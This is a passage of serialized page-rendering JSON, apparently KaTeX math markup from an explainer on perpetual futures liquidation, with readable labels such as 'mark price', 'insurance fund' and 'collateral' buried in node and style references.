63551,163703],{"type":21,"tag":85,"props":162221,"children":162222},{"style":161404},[162223,162227],{"type":21,"tag":85,"props":162224,"children":162226},{"className":162225,"style":161409},[4817],[],{"type":21,"tag":85,"props":162228,"children":162230},{"className":162229},[4776],[162231,162235,162239,162244,162248],{"type":21,"tag":85,"props":162232,"children":162234},{"className":162233},[4776],[],{"type":21,"tag":85,"props":162236,"children":162238},{"className":162237,"style":4955},[4857],[],{"type":21,"tag":85,"props":162240,"children":162242},{"className":162241},[4960],[162243],{"type":26,"value":22035},{"type":21,"tag":85,"props":162245,"children":162247},{"className":162246,"style":4955},[4857],[],{"type":21,"tag":85,"props":162249,"children":162251},{"className":162250},[4776,26],[162252],{"type":21,"tag":85,"props":162253,"children":162255},{"className":162254},[4776],[162256],{"type":26,"value":162257},"mark price",{"type":21,"tag":85,"props":162259,"children":162260},{"style":161475},[162261,162265],{"type":21,"tag":85,"props":162262,"children":162264},{"className":162263,"style":161409},[4817],[],{"type":21,"tag":85,"props":162266,"children":162268},{"className":162267},[4776],[162269,162273,162277,162282,162286],{"type":21,"tag":85,"props":162270,"children":162272},{"className":162271},[4776],[],{"type":21,"tag":85,"props":162274,"children":162276},{"className":162275,"style":4955},[4857],[],{"type":21,"tag":85,"props":162278,"children":162280},{"className":162279},[4960],[162281],{"type":26,"value":22035},{"type":21,"tag":85,"props":162283,"children":162285},{"className":162284,"style":4955},[4857],[],{"type":21,"tag":85,"props":162287,"children":162289},{"className":162288},[4776,26],[162290],{"type":21,"tag":85,"props":162291,"children":162293},{"className":162292},[4776],[162294],{"type":26,"value":162295},"insurance fund",{"type":21,"tag":85,"props":162297,"children":162298},{"style":161492},[162299,162303],{"type":21,"tag":85,"props":162300,"children":162302},{"className":162301,"style":161409},[4817],[],{"type":21,"tag":85,"props":162304,"children":162306},{"className":162305},[4776],[162307,162311,162315,162320,162324,162334,162338,162343,162347],{"type":21,"tag":85,"props":162308,"children":162310},{"className":162309},[4776],[],{"type":21,"tag":85,"props":162312,"children":162314},{"className":162313,"style":4955},[4857],[],{"type":21,"tag":85,"props":162316,"children":162318},{"className":162317},[4960],[162319],{"type":26,"value":22035},{"type":21,"tag":85,"props":162321,"children":162323},{"className":162322,"style":4955},[4857],[],{"type":21,"tag":85,"props":162325,"children":162327},{"className":162326},[4776,26],[162328],{"type":21,"tag":85,"props":162329,"children":162331},{"className":162330},[4776],[162332],{"type":26,"value":162333},"collateral",{"type":21,"tag":85,"props":162335,"children":162337},{"className":162336,"style":4955},[4857],[],{"type":21,"tag":85,"props":162339,"children":162341},{"className":162340},[4960],[162342],{"type":26,"value":741},{"type":21,"tag":85,"props":162344,"children":162346},{"className":162345,"style":4955},[4857],[],{"type":21,"tag":85,"props":162348,"children":162350},{"className":162349},[4776],[162351,162355,162439],{"type":21,"tag":85,"props":162352,"children":162354},{"className":162353},[22145,114027],[],{"type":21,"tag":85,"props":162356,"children":162358},{"className":162357},[114032],[162359],{"type":21,"tag":85,"props":162360,"children":162362},{"className":162361},[4798,22070],[162363,162428],{"type":21,"tag":85,"props":162364,"children":162366},{"className":162365},[4803],[162367,162423],{"type":21,"tag":85,"props":162368,"children":162371},{"className":162369,"style":162370},[4808],"height:1.3714em;",[162372,162392,162403],{"type":21,"tag":85,"props":162373,"children":162374},{"style":159618},[162375,162379],{"type":21,"tag":85,"props":162376,"children":162378},{"className":162377,"style":112680},[4817],[],{"type":21,"tag":85,"props":162380,"children":162382},{"className":162381},[4776],[162383],{"type":21,"tag":85,"props":162384,"children":162386},{"className":162385},[4776,26],[162387],{"type":21,"tag":85,"props":162388,"children":162390},{"className":162389},[4776],[162391],{"type":26,"value":159655},{"type":21,"tag":85,"props":162393,"children":162394},{"style":114082},[162395,162399],{"type":21,"tag":85,"props":162396,"children":162398},{"className":162397,"style":112680},[4817],[],{"type":21,"tag":85,"props":162400,"children":162402},{"className":162401,"style":114092},[114091],[],{"type":21,"tag":85,"props":162404,"children":162405},{"style":159669},[162406,162410],{"type":21,"tag":85,"props":162407,"children":162409},{"className":162408,"style":112680},[4817],[],{"type":21,"tag":85,"props":162411,"children":162413},{"className":162412},[4776],[162414],{"type":21,"tag":85,"props":162415,"children":162417},{"className":162416},[4776,26],[162418],{"type":21,"tag":85,"props":162419,"children":162421},{"className":162420},[4776],[162422],{"type":26,"value":159694},{"type":21,"tag":85,"props":162424,"children":162426},{"className":162425},[22173],[162427],{"type":26,"value":22176},{"type":21,"tag":85,"props":162429,"children":162431},{"className":162430},[4803],[162432],{"type":21,"tag":85,"props":162433,"children":162435},{"className":162434,"style":159712},[4808],[162436],{"type":21,"tag":85,"props":162437,"children":162438},{},[],{"type":21,"tag":85,"props":162440,"children":162442},{"className":162441},[22167,114027],[],{"type":21,"tag":85,"props":162444,"children":162445},{"style":161561},[162446,162450],{"type":21,"tag":85,"props":162447,"children":162449},{"className":162448,"style":161409},[4817],[],{"type":21,"tag":85,"props":162451,"children":162453},{"className":162452},[4776],[162454,162458,162462,162467,162471,162528,162532,162537,162541,162546,162603,162607,162612,162616,162673],{"type":21,"tag":85,"props":162455,"children":162457},{"className":162456},[4776],[],{"type":21,"tag":85,"props":162459,"children":162461},{"className":162460,"style":4955},[4857],[],{"type":21,"tag":85,"props":162463,"children":162465},{"className":162464},[4960],[162466],{"type":26,"value":741},{"type":21,"tag":85,"props":162468,"children":162470},{"className":162469,"style":4955},[4857],[],{"type":21,"tag":85,"props":162472,"children":162474},{"className":162473},[4776],[162475,162480],{"type":21,"tag":85,"props":162476,"children":162478},{"className":162477},[4776,22016],[162479],{"type":26,"value":11067},{"type":21,"tag":85,"props":162481,"children":162483},{"className":162482},[4793],[162484],{"type":21,"tag":85,"props":162485,"children":162487},{"className":162486},[4798,22070],[162488,162517],{"type":21,"tag":85,"props":162489,"children":162491},{"className":162490},[4803],[162492,162512],{"type":21,"tag":85,"props":162493,"children":162495},{"className":162494,"style":94038},[4808],[162496],{"type":21,"tag":85,"props":162497,"children":162498},{"style":93565},[162499,162503],{"type":21,"tag":85,"props":162500,"children":162502},{"className":162501,"style":4818},[4817],[],{"type":21,"tag":85,"props":162504,"children":162506},{"className":162505},[4823,4824,4825,4826],[162507],{"type":21,"tag":85,"props":162508,"children":162510},{"className":162509},[4776,22016,4826],[162511],{"type":26,"value":3003},{"type":21,"tag":85,"props":162513,"children":162515},{"className":162514},[22173],[162516],{"type":26,"value":22176},{"type":21,"tag":85,"props":162518,"children":162520},{"className":162519},[4803],[162521],{"type":21,"tag":85,"props":162522,"children":162524},{"className":162523,"style":93592},[4808],[162525],{"type":21,"tag":85,"props":162526,"children":162527},{},[],{"type":21,"tag":85,"props":162529,"children":162531},{"className":162530,"style":4858},[4857],[],{"type":21,"tag":85,"props":162533,"children":162535},{"className":162534},[4863],[162536],{"type":26,"value":111771},{"type":21,"tag":85,"props":162538,"children":162540},{"className":162539,"style":4858},[4857],[],{"type":21,"tag":85,"props":162542,"children":162544},{"className":162543},[22145],[162545],{"type":26,"value":1439},{"type":21,"tag":85,"props":162547,"children":162549},{"className":162548},[4776],[162550,162555],{"type":21,"tag":85,"props":162551,"children":162553},{"className":162552,"style":22017},[4776,22016],[162554],{"type":26,"value":22020},{"type":21,"tag":85,"props":162556,"children":162558},{"className":162557},[4793],[162559],{"type":21,"tag":85,"props":162560,"children":162562},{"className":162561},[4798,22070],[162563,162592],{"type":21,"tag":85,"props":162564,"children":162566},{"className":162565},[4803],[162567,162587],{"type":21,"tag":85,"props":162568,"children":162570},{"className":162569,"style":109941},[4808],[162571],{"type":21,"tag":85,"props":162572,"children":162573},{"style":161442},[162574,162578],{"type":21,"tag":85,"props":162575,"children":162577},{"className":162576,"style":4818},[4817],[],{"type":21,"tag":85,"props":162579,"children":162581},{"className":162580},[4823,4824,4825,4826],[162582],{"type":21,"tag":85,"props":162583,"children":162585},{"className":162584},[4776,22016,4826],[162586],{"type":26,"value":56860},{"type":21,"tag":85,"props":162588,"children":162590},{"className":162589},[22173],[162591],{"type":26,"value":22176},{"type":21,"tag":85,"props":162593,"children":162595},{"className":162594},[4803],[162596],{"type":21,"tag":85,"props":162597,"children":162599},{"className":162598,"style":93592},[4808],[162600],{"type":21,"tag":85,"props":162601,"children":162602},{},[],{"type":21,"tag":85,"props":162604,"children":162606},{"className":162605,"style":4858},[4857],[],{"type":21,"tag":85,"props":162608,"children":162610},{"className":162609},[4863],[162611],{"type":26,"value":4837},{"type":21,"tag":85,"props":162613,"children":162615},{"className":162614,"style":4858},[4857],[],{"type":21,"tag":85,"props":162617,"children":162619},{"className":162618},[4776],[162620,162625],{"type":21,"tag":85,"props":162621,"children":162623},{"className":162622},[4776,22016],[162624],{"type":26,"value":22},{"type":21,"tag":85,"props":162626,"children":162628},{"className":162627},[4793],[162629],{"type":21,"tag":85,"props":162630,"children":162632},{"className":162631},[4798,22070],[162633,162662],{"type":21,"tag":85,"props":162634,"children":162636},{"className":162635},[4803],[162637,162657],{"type":21,"tag":85,"props":162638,"children":162640},{"className":162639,"style":94038},[4808],[162641],{"type":21,"tag":85,"props":162642,"children":162643},{"style":93565},[162644,162648],{"type":21,"tag":85,"props":162645,"children":162647},{"className":162646,"style":4818},[4817],[],{"type":21,"tag":85,"props":162649,"children":162651},{"className":162650},[4823,4824,4825,4826],[162652],{"type":21,"tag":85,"props":162653,"children":162655},{"className":162654},[4776,22016,4826],[162656],{"type":26,"value":3003},{"type":21,"tag":85,"props":162658,"children":162660},{"className":162659},[22173],[162661],{"type":26,"value":22176},{"type":21,"tag":85,"props":162663,"children":162665},{"className":162664},[4803],[162666],{"type":21,"tag":85,"props":162667,"children":162669},{"className":162668,"style":93592},[4808],[162670],{"type":21,"tag":85,"props":162671,"children":162672},{},[],{"type":21,"tag":85,"props":162674,"children":162676},{"className":162675},[22167],[162677],{"type":26,"value":1900},{"type":21,"tag":85,"props":162679,"children":162680},{"style":161631},[162681,162685],{"type":21,"tag":85,"props":162682,"children":162684},{"className":162683,"style":161409},[4817],[],{"type":21,"tag":85,"props":162686,"children":162688},{"className":162687},[4776],[162689,162693,162697,162702,162706,162763,162767,162772,162776],{"type":21,"tag":85,"props":162690,"children":162692},{"className":162691},[4776],[],{"type":21,"tag":85,"props":162694,"children":162696},{"className":162695,"style":4955},[4857],[],{"type":21,"tag":85,"props":162698,"children":162700},{"className":162699},[4960],[162701],{"type":26,"value":741},{"type":21,"tag":85,"props":162703,"children":162705},{"className":162704,"style":4955},[4857],[],{"type":21,"tag":85,"props":162707,"children":162709},{"className":162708},[4776],[162710,162715],{"type":21,"tag":85,"props":162711,"children":162713},{"className":162712},[4776,22016],[162714],{"type":26,"value":3918},{"type":21,"tag":85,"props":162716,"children":162718},{"className":162717},[4793],[162719],{"type":21,"tag":85,"props":162720,"children":162722},{"className":162721},[4798,22070],[162723,162752],{"type":21,"tag":85,"props":162724,"children":162726},{"className":162725},[4803],[162727,162747],{"type":21,"tag":85,"props":162728,"children":162730},{"className":162729,"style":94038},[4808],[162731],{"type":21,"tag":85,"props":162732,"children":162733},{"style":93565},[162734,162738],{"type":21,"tag":85,"props":162735,"children":162737},{"className":162736,"style":4818},[4817],[],{"type":21,"tag":85,"props":162739,"children":162741},{"className":162740},[4823,4824,4825,4826],[162742],{"type":21,"tag":85,"props":162743,"children":162745},{"className":162744},[4776,22016,4826],[162746],{"type":26,"value":3003},{"type":21,"tag":85,"props":162748,"children":162750},{"className":162749},[22173],[162751],{"type":26,"value":22176},{"type":21,"tag":85,"props":162753,"children":162755},{"className":162754},[4803],[162756],{"type":21,"tag":85,"props":162757,"children":162759},{"className":162758,"style":93592},[4808],[162760],{"type":21,"tag":85,"props":162761,"children":162762},{},[],{"type":21,"tag":85,"props":162764,"children":162766},{"className":162765,"style":4858},[4857],[],{"type":21,"tag":85,"props":162768,"children":162770},{"className":162769},[4863],[162771],{"type":26,"value":5151},{"type":21,"tag":85,"props":162773,"children":162775},{"className":162774,"style":4858},[4857],[],{"type":21,"tag":85,"props":162777,"children":162779},{"className":162778},[4776],[162780,162785],{"type":21,"tag":85,"props":162781,"children":162783},{"className":162782,"style":93995},[4776,22016],[162784],{"type":26,"value":161580},{"type":21,"tag":85,"props":162786,"children":162788},{"className":162787},[4793],[162789],{"type":21,"tag":85,"props":162790,"children":162792},{"className":162791},[4798,22070],[162793,162822],{"type":21,"tag":85,"props":162794,"children":162796},{"className":162795},[4803],[162797,162817],{"type":21,"tag":85,"props":162798,"children":162800},{"className":162799,"style":94038},[4808],[162801],{"type":21,"tag":85,"props":162802,"children":162803},{"style":94042},[162804,162808],{"type":21,"tag":85,"props":162805,"children":162807},{"className":162806,"style":4818},[4817],[],{"type":21,"tag":85,"props":162809,"children":162811},{"className":162810},[4823,4824,4825,4826],[162812],{"type":21,"tag":85,"props":162813,"children":162815},{"className":162814},[4776,22016,4826],[162816],{"type":26,"value":3003},{"type":21,"tag":85,"props":162818,"children":162820},{"className":162819},[22173],[162821],{"type":26,"value":22176},{"type":21,"tag":85,"props":162823,"children":162825},{"className":162824},[4803],[162826],{"type":21,"tag":85,"props":162827,"children":162829},{"className":162828,"style":93592},[4808],[162830],{"type":21,"tag":85,"props":162831,"children":162832},{},[],{"type":21,"tag":85,"props":162834,"children":162835},{"style":161700},[162836,162840],{"type":21,"tag":85,"props":162837,"children":162839},{"className":162838,"style":161409},[4817],[],{"type":21,"tag":85,"props":162841,"children":162843},{"className":162842},[4776],[162844,162848,162852,162857,162861],{"type":21,"tag":85,"props":162845,"children":162847},{"className":162846},[4776],[],{"type":21,"tag":85,"props":162849,"children":162851},{"className":162850,"style":4955},[4857],[],{"type":21,"tag":85,"props":162853,"children":162855},{"className":162854},[4960],[162856],{"type":26,"value":741},{"type":21,"tag":85,"props":162858,"children":162860},{"className":162859,"style":4955},[4857],[],{"type":21,"tag":85,"props":162862,"children":162864},{"className":162863},[4776],[162865,162870],{"type":21,"tag":85,"props":162866,"children":162868},{"className":162867,"style":93995},[4776,22016],[162869],{"type":26,"value":161580},{"type":21,"tag":85,"props":162871,"children":162873},{"className":162872},[4793],[162874],{"type":21,"tag":85,"props":162875,"children":162877},{"className":162876},[4798,22070],[162878,162926],{"type":21,"tag":85,"props":162879,"children":162881},{"className":162880},[4803],[162882,162921],{"type":21,"tag":85,"props":162883,"children":162886},{"className":162884,"style":162885},[4808],"height:0.8213em;",[162887,162904],{"type":21,"tag":85,"props":162888,"children":162890},{"style":162889},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[162891,162895],{"type":21,"tag":85,"props":162892,"children":162894},{"className":162893,"style":4818},[4817],[],{"type":21,"tag":85,"props":162896,"children":162898},{"className":162897},[4823,4824,4825,4826],[162899],{"type":21,"tag":85,"props":162900,"children":162902},{"className":162901},[4776,22016,4826],[162903],{"type":26,"value":3003},{"type":21,"tag":85,"props":162905,"children":162907},{"style":162906},"top:-3.113em;margin-right:0.05em;",[162908,162912],{"type":21,"tag":85,"props":162909,"children":162911},{"className":162910,"style":4818},[4817],[],{"type":21,"tag":85,"props":162913,"children":162915},{"className":162914},[4823,4824,4825,4826],[162916],{"type":21,"tag":85,"props":162917,"children":162919},{"className":162918},[4863,4826],[162920],{"type":26,"value":5151},{"type":21,"tag":85,"props":162922,"children":162924},{"className":162923},[22173],[162925],{"type":26,"value":22176},{"type":21,"tag":85,"props":162927,"children":162929},{"className":162928},[4803],[162930],{"type":21,"tag":85,"props":162931,"children":162934},{"className":162932,"style":162933},[4808],"height:0.267em;",[162935],{"type":21,"tag":85,"props":162936,"children":162937},{},[],{"type":21,"tag":85,"props":162939,"children":162940},{"style":161770},[162941,162945],{"type":21,"tag":85,"props":162942,"children":162944},{"className":162943,"style":161409},[4817],[],{"type":21,"tag":85,"props":162946,"children":162948},{"className":162947},[4776],[162949,162953,162957,162962,162966,162976],{"type":21,"tag":85,"props":162950,"children":162952},{"className":162951},[4776],[],{"type":21,"tag":85,"props":162954,"children":162956},{"className":162955,"style":4955},[4857],[],{"type":21,"tag":85,"props":162958,"children":162960},{"className":162959},[4960],[162961],{"type":26,"value":22035},{"type":21,"tag":85,"props":162963,"children":162965},{"className":162964,"style":4955},[4857],[],{"type":21,"tag":85,"props":162967,"children":162969},{"className":162968},[4776,26],[162970],{"type":21,"tag":85,"props":162971,"children":162973},{"className":162972},[4776],[162974],{"type":26,"value":162975},"dollars seized from winner ",{"type":21,"tag":85,"props":162977,"children":162979},{"className":162978},[4776,22016],[162980],{"type":26,"value":3003},{"type":21,"tag":85,"props":162982,"children":162983},{"style":161839},[162984,162988],{"type":21,"tag":85,"props":162985,"children":162987},{"className":162986,"style":161409},[4817],[],{"type":21,"tag":85,"props":162989,"children":162991},{"className":162990},[4776],[162992,162996,163000,163005,163009],{"type":21,"tag":85,"props":162993,"children":162995},{"className":162994},[4776],[],{"type":21,"tag":85,"props":162997,"children":162999},{"className":162998,"style":4955},[4857],[],{"type":21,"tag":85,"props":163001,"children":163003},{"className":163002},[4960],[163004],{"type":26,"value":741},{"type":21,"tag":85,"props":163006,"children":163008},{"className":163007,"style":4955},[4857],[],{"type":21,"tag":85,"props":163010,"children":163012},{"className":163011},[4776],[163013,163017,163198],{"type":21,"tag":85,"props":163014,"children":163016},{"className":163015},[22145,114027],[],{"type":21,"tag":85,"props":163018,"children":163020},{"className":163019},[114032],[163021],{"type":21,"tag":85,"props":163022,"children":163024},{"className":163023},[4798,22070],[163025,163186],{"type":21,"tag":85,"props":163026,"children":163028},{"className":163027},[4803],[163029,163181],{"type":21,"tag":85,"props":163030,"children":163033},{"className":163031,"style":163032},[4808],"height:1.1076em;",[163034,163102,163113],{"type":21,"tag":85,"props":163035,"children":163036},{"style":159618},[163037,163041],{"type":21,"tag":85,"props":163038,"children":163040},{"className":163039,"style":112680},[4817],[],{"type":21,"tag":85,"props":163042,"children":163044},{"className":163043},[4776],[163045],{"type":21,"tag":85,"props":163046,"children":163048},{"className":163047},[4776],[163049,163054],{"type":21,"tag":85,"props":163050,"children":163052},{"className":163051,"style":122789},[4776,22016],[163053],{"type":26,"value":50027},{"type":21,"tag":85,"props":163055,"children":163057},{"className":163056},[4793],[163058],{"type":21,"tag":85,"props":163059,"children":163061},{"className":163060},[4798,22070],[163062,163091],{"type":21,"tag":85,"props":163063,"children":163065},{"className":163064},[4803],[163066,163086],{"type":21,"tag":85,"props":163067,"children":163069},{"className":163068,"style":94038},[4808],[163070],{"type":21,"tag":85,"props":163071,"children":163072},{"style":161737},[163073,163077],{"type":21,"tag":85,"props":163074,"children":163076},{"className":163075,"style":4818},[4817],[],{"type":21,"tag":85,"props":163078,"children":163080},{"className":163079},[4823,4824,4825,4826],[163081],{"type":21,"tag":85,"props":163082,"children":163084},{"className":163083},[4776,22016,4826],[163085],{"type":26,"value":3003},{"type":21,"tag":85,"props":163087,"children":163089},{"className":163088},[22173],[163090],{"type":26,"value":22176},{"type":21,"tag":85,"props":163092,"children":163094},{"className":163093},[4803],[163095],{"type":21,"tag":85,"props":163096,"children":163098},{"className":163097,"style":93592},[4808],[163099],{"type":21,"tag":85,"props":163100,"children":163101},{},[],{"type":21,"tag":85,"props":163103,"children":163104},{"style":114082},[163105,163109],{"type":21,"tag":85,"props":163106,"children":163108},{"className":163107,"style":112680},[4817],[],{"type":21,"tag":85,"props":163110,"children":163112},{"className":163111,"style":114092},[114091],[],{"type":21,"tag":85,"props":163114,"children":163115},{"style":159669},[163116,163120],{"type":21,"tag":85,"props":163117,"children":163119},{"className":163118,"style":112680},[4817],[],{"type":21,"tag":85,"props":163121,"children":163123},{"className":163122},[4776],[163124],{"type":21,"tag":85,"props":163125,"children":163127},{"className":163126},[4776],[163128,163133],{"type":21,"tag":85,"props":163129,"children":163131},{"className":163130},[4776,22016],[163132],{"type":26,"value":19702},{"type":21,"tag":85,"props":163134,"children":163136},{"className":163135},[4793],[163137],{"type":21,"tag":85,"props":163138,"children":163140},{"className":163139},[4798,22070],[163141,163170],{"type":21,"tag":85,"props":163142,"children":163144},{"className":163143},[4803],[163145,163165],{"type":21,"tag":85,"props":163146,"children":163148},{"className":163147,"style":94038},[4808],[163149],{"type":21,"tag":85,"props":163150,"children":163151},{"style":93565},[163152,163156],{"type":21,"tag":85,"props":163153,"children":163155},{"className":163154,"style":4818},[4817],[],{"type":21,"tag":85,"props":163157,"children":163159},{"className":163158},[4823,4824,4825,4826],[163160],{"type":21,"tag":85,"props":163161,"children":163163},{"className":163162},[4776,22016,4826],[163164],{"type":26,"value":3003},{"type":21,"tag":85,"props":163166,"children":163168},{"className":163167},[22173],[163169],{"type":26,"value":22176},{"type":21,"tag":85,"props":163171,"children":163173},{"className":163172},[4803],[163174],{"type":21,"tag":85,"props":163175,"children":163177},{"className":163176,"style":93592},[4808],[163178],{"type":21,"tag":85,"props":163179,"children":163180},{},[],{"type":21,"tag":85,"props":163182,"children":163184},{"className":163183},[22173],[163185],{"type":26,"value":22176},{"type":21,"tag":85,"props":163187,"children":163189},{"className":163188},[4803],[163190],{"type":21,"tag":85,"props":163191,"children":163194},{"className":163192,"style":163193},[4808],"height:0.836em;",[163195],{"type":21,"tag":85,"props":163196,"children":163197},{},[],{"type":21,"tag":85,"props":163199,"children":163201},{"className":163200},[22167,114027],[],{"type":21,"tag":85,"props":163203,"children":163204},{"style":161908},[163205,163209],{"type":21,"tag":85,"props":163206,"children":163208},{"className":163207,"style":161409},[4817],[],{"type":21,"tag":85,"props":163210,"children":163212},{"className":163211},[4776],[163213,163217,163221,163226,163230,163300,163304],{"type":21,"tag":85,"props":163214,"children":163216},{"className":163215},[4776],[],{"type":21,"tag":85,"props":163218,"children":163220},{"className":163219,"style":4955},[4857],[],{"type":21,"tag":85,"props":163222,"children":163224},{"className":163223},[4960],[163225],{"type":26,"value":741},{"type":21,"tag":85,"props":163227,"children":163229},{"className":163228,"style":4955},[4857],[],{"type":21,"tag":85,"props":163231,"children":163234},{"className":163232},[22052,163233],"op-limits",[163235],{"type":21,"tag":85,"props":163236,"children":163238},{"className":163237},[4798,22070],[163239,163288],{"type":21,"tag":85,"props":163240,"children":163242},{"className":163241},[4803],[163243,163283],{"type":21,"tag":85,"props":163244,"children":163247},{"className":163245,"style":163246},[4808],"height:1.05em;",[163248,163266],{"type":21,"tag":85,"props":163249,"children":163251},{"style":163250},"top:-1.8723em;margin-left:0em;",[163252,163257],{"type":21,"tag":85,"props":163253,"children":163256},{"className":163254,"style":163255},[4817],"height:3.05em;",[],{"type":21,"tag":85,"props":163258,"children":163260},{"className":163259},[4823,4824,4825,4826],[163261],{"type":21,"tag":85,"props":163262,"children":163264},{"className":163263},[4776,22016,4826],[163265],{"type":26,"value":3003},{"type":21,"tag":85,"props":163267,"children":163269},{"style":163268},"top:-3.05em;",[163270,163274],{"type":21,"tag":85,"props":163271,"children":163273},{"className":163272,"style":163255},[4817],[],{"type":21,"tag":85,"props":163275,"children":163276},{},[163277],{"type":21,"tag":85,"props":163278,"children":163281},{"className":163279},[22052,22057,163280],"large-op",[163282],{"type":26,"value":109304},{"type":21,"tag":85,"props":163284,"children":163286},{"className":163285},[22173],[163287],{"type":26,"value":22176},{"type":21,"tag":85,"props":163289,"children":163291},{"className":163290},[4803],[163292],{"type":21,"tag":85,"props":163293,"children":163296},{"className":163294,"style":163295},[4808],"height:1.2777em;",[163297],{"type":21,"tag":85,"props":163298,"children":163299},{},[],{"type":21,"tag":85,"props":163301,"children":163303},{"className":163302,"style":4896},[4857],[],{"type":21,"tag":85,"props":163305,"children":163307},{"className":163306},[4776],[163308,163313],{"type":21,"tag":85,"props":163309,"children":163311},{"className":163310},[4776,22016],[163312],{"type":26,"value":19702},{"type":21,"tag":85,"props":163314,"children":163316},{"className":163315},[4793],[163317],{"type":21,"tag":85,"props":163318,"children":163320},{"className":163319},[4798,22070],[163321,163350],{"type":21,"tag":85,"props":163322,"children":163324},{"className":163323},[4803],[163325,163345],{"type":21,"tag":85,"props":163326,"children":163328},{"className":163327,"style":94038},[4808],[163329],{"type":21,"tag":85,"props":163330,"children":163331},{"style":93565},[163332,163336],{"type":21,"tag":85,"props":163333,"children":163335},{"className":163334,"style":4818},[4817],[],{"type":21,"tag":85,"props":163337,"children":163339},{"className":163338},[4823,4824,4825,4826],[163340],{"type":21,"tag":85,"props":163341,"children":163343},{"className":163342},[4776,22016,4826],[163344],{"type":26,"value":3003},{"type":21,"tag":85,"props":163346,"children":163348},{"className":163347},[22173],[163349],{"type":26,"value":22176},{"type":21,"tag":85,"props":163351,"children":163353},{"className":163352},[4803],[163354],{"type":21,"tag":85,"props":163355,"children":163357},{"className":163356,"style":93592},[4808],[163358],{"type":21,"tag":85,"props":163359,"children":163360},{},[],{"type":21,"tag":85,"props":163362,"children":163363},{"style":161977},[163364,163368],{"type":21,"tag":85,"props":163365,"children":163367},{"className":163366,"style":161409},[4817],[],{"type":21,"tag":85,"props":163369,"children":163371},{"className":163370},[4776],[163372,163376,163380,163385,163389,163452,163456,163461,163466,163471,163528,163533,163537,163541,163546],{"type":21,"tag":85,"props":163373,"children":163375},{"className":163374},[4776],[],{"type":21,"tag":85,"props":163377,"children":163379},{"className":163378,"style":4955},[4857],[],{"type":21,"tag":85,"props":163381,"children":163383},{"className":163382},[4960],[163384],{"type":26,"value":741},{"type":21,"tag":85,"props":163386,"children":163388},{"className":163387,"style":4955},[4857],[],{"type":21,"tag":85,"props":163390,"children":163392},{"className":163391},[22052,163233],[163393],{"type":21,"tag":85,"props":163394,"children":163396},{"className":163395},[4798,22070],[163397,163441],{"type":21,"tag":85,"props":163398,"children":163400},{"className":163399},[4803],[163401,163436],{"type":21,"tag":85,"props":163402,"children":163404},{"className":163403,"style":163246},[4808],[163405,163421],{"type":21,"tag":85,"props":163406,"children":163407},{"style":163250},[163408,163412],{"type":21,"tag":85,"props":163409,"children":163411},{"className":163410,"style":163255},[4817],[],{"type":21,"tag":85,"props":163413,"children":163415},{"className":163414},[4823,4824,4825,4826],[163416],{"type":21,"tag":85,"props":163417,"children":163419},{"className":163418},[4776,22016,4826],[163420],{"type":26,"value":3003},{"type":21,"tag":85,"props":163422,"children":163423},{"style":163268},[163424,163428],{"type":21,"tag":85,"props":163425,"children":163427},{"className":163426,"style":163255},[4817],[],{"type":21,"tag":85,"props":163429,"children":163430},{},[163431],{"type":21,"tag":85,"props":163432,"children":163434},{"className":163433},[22052,22057,163280],[163435],{"type":26,"value":109304},{"type":21,"tag":85,"props":163437,"children":163439},{"className":163438},[22173],[163440],{"type":26,"value":22176},{"type":21,"tag":85,"props":163442,"children":163444},{"className":163443},[4803],[163445],{"type":21,"tag":85,"props":163446,"children":163448},{"className":163447,"style":163295},[4808],[163449],{"type":21,"tag":85,"props":163450,"children":163451},{},[],{"type":21,"tag":85,"props":163453,"children":163455},{"className":163454,"style":4896},[4857],[],{"type":21,"tag":85,"props":163457,"children":163459},{"className":163458},[22052],[163460],{"type":26,"value":161123},{"type":21,"tag":85,"props":163462,"children":163464},{"className":163463},[22145],[163465],{"type":26,"value":1439},{"type":21,"tag":85,"props":163467,"children":163469},{"className":163468},[4776],[163470],{"type":26,"value":4837},{"type":21,"tag":85,"props":163472,"children":163474},{"className":163473},[4776],[163475,163480],{"type":21,"tag":85,"props":163476,"children":163478},{"className":163477},[4776,22016],[163479],{"type":26,"value":51910},{"type":21,"tag":85,"props":163481,"children":163483},{"className":163482},[4793],[163484],{"type":21,"tag":85,"props":163485,"children":163487},{"className":163486},[4798,22070],[163488,163517],{"type":21,"tag":85,"props":163489,"children":163491},{"className":163490},[4803],[163492,163512],{"type":21,"tag":85,"props":163493,"children":163495},{"className":163494,"style":94038},[4808],[163496],{"type":21,"tag":85,"props":163497,"children":163498},{"style":93565},[163499,163503],{"type":21,"tag":85,"props":163500,"children":163502},{"className":163501,"style":4818},[4817],[],{"type":21,"tag":85,"props":163504,"children":163506},{"className":163505},[4823,4824,4825,4826],[163507],{"type":21,"tag":85,"props":163508,"children":163510},{"className":163509},[4776,22016,4826],[163511],{"type":26,"value":3003},{"type":21,"tag":85,"props":163513,"children":163515},{"className":163514},[22173],[163516],{"type":26,"value":22176},{"type":21,"tag":85,"props":163518,"children":163520},{"className":163519},[4803],[163521],{"type":21,"tag":85,"props":163522,"children":163524},{"className":163523,"style":93592},[4808],[163525],{"type":21,"tag":85,"props":163526,"children":163527},{},[],{"type":21,"tag":85,"props":163529,"children":163531},{"className":163530},[4889],[163532],{"type":26,"value":4892},{"type":21,"tag":85,"props":163534,"children":163536},{"className":163535,"style":4896},[4857],[],{"type":21,"tag":85,"props":163538,"children":163540},{"className":163539,"style":4896},[4857],[],{"type":21,"tag":85,"props":163542,"children":163544},{"className":163543},[4776],[163545],{"type":26,"value":4789},{"type":21,"tag":85,"props":163547,"children":163549},{"className":163548},[22167],[163550],{"type":26,"value":1900},{"type":21,"tag":85,"props":163552,"children":163553},{"style":162047},[163554,163558],{"type":21,"tag":85,"props":163555,"children":163557},{"className":163556,"style":161409},[4817],[],{"type":21,"tag":85,"props":163559,"children":163561},{"className":163560},[4776],[163562,163566,163570,163575,163579,163642,163646],{"type":21,"tag":85,"props":163563,"children":163565},{"className":163564},[4776],[],{"type":21,"tag":85,"props":163567,"children":163569},{"className":163568,"style":4955},[4857],[],{"type":21,"tag":85,"props":163571,"children":163573},{"className":163572},[4960],[163574],{"type":26,"value":741},{"type":21,"tag":85,"props":163576,"children":163578},{"className":163577,"style":4955},[4857],[],{"type":21,"tag":85,"props":163580,"children":163582},{"className":163581},[22052,163233],[163583],{"type":21,"tag":85,"props":163584,"children":163586},{"className":163585},[4798,22070],[163587,163631],{"type":21,"tag":85,"props":163588,"children":163590},{"className":163589},[4803],[163591,163626],{"type":21,"tag":85,"props":163592,"children":163594},{"className":163593,"style":163246},[4808],[163595,163611],{"type":21,"tag":85,"pr